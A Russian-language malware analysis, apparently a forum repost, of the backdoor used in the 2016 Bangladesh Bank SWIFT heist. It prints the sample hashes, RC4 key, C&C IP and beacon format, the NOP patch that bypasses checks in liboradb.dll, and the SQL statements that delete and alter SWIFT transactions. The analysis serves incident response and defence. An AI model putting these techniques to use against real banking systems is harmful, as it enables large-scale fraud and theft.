Вот более подробное исследование, как и что:
В феврале 2016 года была совершена и впоследствии раскрыта одна из самых масштабных кибератак. Неизвестный злоумышленник получил доступ к платежной системе SWIFT одного из банков Бангладеша и, согласно поступающей информации, дал указание американскому банку на перевод средств из банка в Бангладеше на счета в Филиппинах. Хакер попытался украсть 951 миллион долларов, из которых 81 миллион до сих пор находится в розыске.
Технические детали атаки пока еще не опубликованы, но недавно в один из репозитариев было загружено несколько инструментов, которые, скорее всего, связаны с вторжением. Вредонос, запущенный в системе жертвы, был загружен пользователем в Бангладеше и имел весьма изощренный функционал, позволяющий взаимодействовать с программным обеспечением SWIFT Alliance Access.
По-видимому, этот вредонос был лишь частью большого арсенала и использовался для сокрытия следов при отсылке инструкций на совершение денежных трансферов, что затруднило детектирование и дало временную фору для отмывания грязных денег.
Утилиты, используемые при сетевом вторжении, обладают гибкими настройками и в умелых руках могут применяться в будущем в других подобных атаках.
Образцы вредоносов (Можете поискать):
SHA1:
525a8e3ae4e3df8c9c61f2a49e38541d196e9228
(evtdiag.exe)
76bab478dcc70f979ce62cd306e9ba50ee84e37e
(evtsys.exe)
70bf16597e375ad691f2c1efa194dbe7f60e4eeb
(nroff_b.exe)
6207b92842b28a438330a2bf0ee8dcab7ef0a163
(gpca.dat)
Мы полагаем, что все файлы были созданы одними и теми же людьми, но основное внимание будет уделено файлу 525a8e3ae4e3df8c9c61f2a49e38541d196e9228, поскольку этот вредонос обладает функционалом для взаимодействия с программным обеспечением, позволяющим работать с системой SWIFT.
Бэкдор регистрируется как служба и оперирует в системе с программным обеспечением SWIFT Alliance Access, которое работает на основе баз данных Oracle.
Общая схема той части атаки, которая связана с программным обеспечением SWIFT Alliance Access, состоит из следующих шагов:
1. Злоумышленник получает доступ к серверу SWIFT Alliance Software и устанавливает вредонос.
2. Вредонос расшифровывает конфигурационный файл, содержащего критерии поиска внутри сообщений системы SWIFT.
3. Вредонос находит и эксплуатирует приложение системы SWIFT, находящееся на хосте, для обхода проверок внутри Oracle DLL.
4. Вредонос начинает мониторить подтверждающие сообщения из сети SWIFT. Мониторинг работает до 6 часов 6 февраля 2016 года.
5. Сообщения системы SWIFT начинают подделываться в режиме реального времени.
6. PRC и FAL файлы сканируются по критериям, определенным злоумышленником. По нахождению нужного файла, извлекается ссылка на перевод и адрес отправителя, после чего формируется SQL-запрос на удаление транзакции.
7. Сообщения, удовлетворяющие критериям злоумышленника, используются для формирования SQL-инструкций для запросов на доступность объема конвертируемой валюты и последующего обновления объема перевода.
8. Каждый час проверяются события Login/Logout в таблице Journal. Результаты проверки отправляются на сервер злоумышленника через протокол HTTP.
Рисунок 1: Схема атаки
Главная цель злоумышленника – анализ сообщений системы SWIFT на предмет присутствия строк из конфигурационного файла. Из этих сообщений вредонос, например, может извлекать ссылки на перевод и SWIFT-адреса, которые затем используются для взаимодействия с системной базой данных. Эти данные затем используются для удаления определенных транзакций или обновления объемов транзакций, которые отображаются в сообщениях о балансе, генерируемых на основе объемов конвертируемой валюты, доступной на определенных счетах.
Алгоритм, приведенный выше, работает в цикле до 6 часов 6 февраля 2016 года. Это важная деталь, учитывай трансферы, которые, как предполагается, возникли за два дня до этой даты. Вредонос был специально разработан для решения данной задачи. Все свидетельствует о том, что злоумышленник хорошо знает программное обеспечение SWIFT Alliance Access и владеет хорошими навыками в области создания подобных бэкдоров.
Конфигурационный файл вредоноса
При запуске вредонос расшифровывает содержимое своего конфигурационного файла при помощи ключа RC4:
4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed 08 ef
Конфигурационный файл находится в следующей директории на устройстве жертвы:
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat
Конфигурационный файл содержит перечень идентификаторов транзакций, некоторую дополнительную информацию о рабочей среде и следующий IP-адрес, используемый для внешнего управления:
196.202.103.174
Анализируемый образец также использует следующий файл для сбора данных:
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\recas.dat
Патчинг модуля
Среди запущенных процессов вредонос ищет тот, у которого есть загруженный модуль liboradb.dll. В найденном модуле изменяются два байта по определенному смещению. Байты 0x75 и 0x04 изменяются на байты 0x90 и 0x90.
Изменяемые байты соответствуют инструкции JNZ, короткое описание которой выглядит так: «если результат предыдущего сравнения не равен нулю, тогда переходим по адресу, который следует за этой инструкцией, плюс 4 байта».
По сути, этот опкод представляет собой инструкцию условного перехода, которая следует за важной проверкой (например, проверка валидности ключа или статуса успешности авторизации).
Рисунок 2: Схема получения доступа к выполнению транзакций
Патч заменяет двухбайтовый условный переход на две инструкции NOP (то есть в этом месте не будет делаться ничего), и в итоге приложение «считает», что все проверки завершаются успешно.
Первоначальный код выглядит так:
85 C0 test eax, eax ; some important check
75 04 jnz failed ; if failed, jump to 'failed' label below
33 c0 xor eax, eax ; otherwise, set result to 0 (success)
eb 17 jmp exit ; and then exit
failed:
B8 01 00 00 00 mov eax, 1 ; set result to 1 (failure)
После изменений так:
85 C0 test eax, eax ; some important check
90 nop ; 'do nothing' in place of 0x75
90 nop ; 'do nothing' in place of 0x04
33 c0 xor eax, eax ; always set result to 0 (success)
eb 17 jmp exit ; and then exit
failed:
B8 01 00 00 00 mov eax, 1 ; never reached: set result to 1 (fail)
В результате важная проверка игнорируется и всегда будет завершаться успешно.
Модуль liboradb.dll принадлежит программному обеспечению для работы с системой SWIFT на базе базы данных Oracle.
Назначение модуля:
- Чтение из реестра путей к базе данных, связанной с приложением.
- Запуск базы данных.
- Резервная копия и восстановление базы данных.
Мониторинг сообщений системы SWIFT
Вредонос мониторит сообщения SWIFT Financial Application (FIN) посредством парсинга содержимого файлов *.prc and *.fal, которые находятся в следующих директориях:
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\
Во время парсинга ищутся строки из файла gpca.dat. Мы полагаем, что это уникальные идентификаторы, которые помечают вредоносные транзакции, инициированные злоумышленником. В случае нахождения сообщений предпринимается попытка извлечь поля MESG_TRN_REF и MESG_SENDER_SWIFT_ADDRESS посредством поиска заранее определенных строк:
"FIN 900 Confirmation of Debit"
"20: Transaction"
"Sender :"
[additional filters from the decrypted configuration file gpca.dat]
Извлеченные данные используются для формирования SQL-инструкций. Делается попытка получить идентификатор уникального сообщения системы SWIFT (MESG_S_UMID), который соответствует ссылке трансфера и адресу отправителя, полученных ранее.
SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_
SENDER_SWIFT_ADDRESS LIKE '%%%s%%' AND MESG_TRN_REF LIKE '%%%s%%';
Затем MESG_S_UMID используется в запросах на удаление транзакции из текущей базы.
DELETE FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';
DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = '%s';
SQL инструкции помещаются во временной файл с префиксом 'SQL'. Перед самой инструкцией идет следующий набор команд:
set heading off;
set linesize 32567;
SET FEEDBACK OFF;
SET ECHO OFF;
SET FEED OFF;
SET VERIFY OFF;
Как только временной файл сформирован, происходит выполнение из shell-скрипта с полномочиями 'sysdba'. Пример:
cmd.exe /c echo exit | sqlplus -S / as sysdba @[SQL_Statements] > [OUTPUT_FILE]
Мониторинг событий login/logout
После запуска вредонос в цикле начинает проверять журнал на предмет появления записей со строкой «Login»:
SELECT * FROM (SELECT JRNL_DISPLAY_TEXT, JRNL_DATE_TIME FROM SAAOWNER.JRNL
_%s WHERE JRNL_DISPLAY_TEXT LIKE '%%LT BBHOBDDHA: Log%%' ORDER BY
JRNL_DATE_TIME DESC) A WHERE ROWNUM = 1;
Примечание: ‘BBHOBDDH’ – SWIFT код бангладешского банка в Дакке.
Если записи не найдены, возникает пауза в 5 секунд, после чего поиск начинается заново. После нахождения записей со строкой «Login» вредонос отсылает GET-запрос на удаленный управляющий сервер (C&C).
GET запрос имеет следующий формат:
[C&C_server]/al?[data]
Ежечасно вредонос уведомляет удаленный управляющий сервер о появлении событий, отсылая следующие строки: "---O" – если произошел вход в систему (событие «Login»), "---C" – если произошел выход из системы (событие «Logout») и "---N" – если ни одно из событий не случилось. Например:
[C&C_server]/al?---O
Изменение параметров транзакции
Вредонос мониторит все SWIFT-сообщения в следующих папках:
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\in\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\out\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\unk\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzp
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzf
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\fofp
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\foff
Далее происходит парсинг сообщений на предмет присутствия следующих полей:
"19A: Amount"
": Debit"
"Debit/Credit :"
"Sender :"
"Amount :"
"FEDERAL RESERVE BANK"
" D"
" C"
"62F: "
“60F: "
"60M: "
"62M: "
"Credit"
"Debit"
" 64: "
" 20: Transaction"
"90B: Price"
Например, поле «62F:» определяет конечный остаток, поле «60F:» - начальный остаток, поле «19A:» - объем транзакции.
Вредонос также проверяет, содержат ли сообщения строки, указанные в конфигурационном файле gpca.dat.
Поле того как произошел вход систему (проверка осуществляется по записям журнала) проверяется объем доступной конвертируемой валюты (MESG_FIN_CCY_AMOUNT):
SELECT MESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';
Кроме того, может выполняться поиск сообщений от определенного отправителя с определенным доступным объемом конвертируемой валюты:
SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT
_ADDRESS LIKE '%%%s%%' AND MESG_FIN_CCY_AMOUNT LIKE '%%%s%%';
Затем в сообщении происходит подмена объема конвертируемой валюты (SET MESG_FIN_CCY_AMOUNT) :
UPDATE SAAOWNER.MESG_%s SET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s';
UPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s') WHERE TEXT_S_UMID = '%s';
Манипуляции с принтером
Для того чтобы скрыть фальшивые транзакции, манипуляций с базой данных и сообщениями не достаточно. Сеть системы SWIFT также генерирует подтверждающие сообщения, которые отсылаются на печать. Если распечаталось подтверждающее сообщение о фальшивой транзакции, сотрудник банка может приостановить перевод.
Вредонос также перехватывает подтверждающие сообщение системы SWIFT и отсылает на принтер измененные копии, чтобы сокрыть фальшивые транзакции.
Для решения этой задачи сообщения читаются, парсятся и конвертируются в PRT файлы, описывающие текст на языке Printer Command Language (PCL).
Временные PRT файлы отсылались на печать при помощи исполняемого файла nroff.exe, который представляет собой легитимную утилиту из приложения для работы с системой SWIFT.
В нашем случае язык PCL использовался для работы с моделью принтера "HP LaserJet 400 M401":
После отправки на печать PRT файлы для более надежного удаления перезаписывались нулями.
Заключение
Проанализированный образец вредоноса позволил получить некоторое представление об инструментарии одной из хакерских команд, используемом во время спланированной атаки на банк. Однако многие моменты пока не выяснены: как злоумышленники осуществляли фальшивые переводы, как был внедрен вредонос и, что самое важно, кто стоит за этой атакой.
Вредонос был заточен по конкретную инфраструктуру, но ничто не мешает адаптировать используемые инструменты и техники под другие аналогичные задачи. Всем финансовым институтам, использующим программное обеспечение SWIFT Alliance Access и другие схожие системы, следует незамедлительно провести ревизию системы безопасности.
В описанном примере злоумышленник приложил много усилий для удаления следов, что затруднило детектирование и замедлило ответ со стороны представителей банка. Главный вывод – атаки становятся все более изощренными, особенно когда речь заходит о сетевых вторжениях, которые, как правило, являются целевыми кибератаками. По мере появления новых киберугроз, владельцам бизнесов также следует держать руку на пульсе и постоянно работать над усилением мер безопасности критических инфраструктур, которые, как правило, являются целевыми кибератаками. По мере появления новых киберугроз, владельцам бизнесов также следует держать руку на пульсе и постоянно работать над усилением мер безопасности критических инфраструктур.
Источник:Как сконвертировать два байта в миллиард долларов
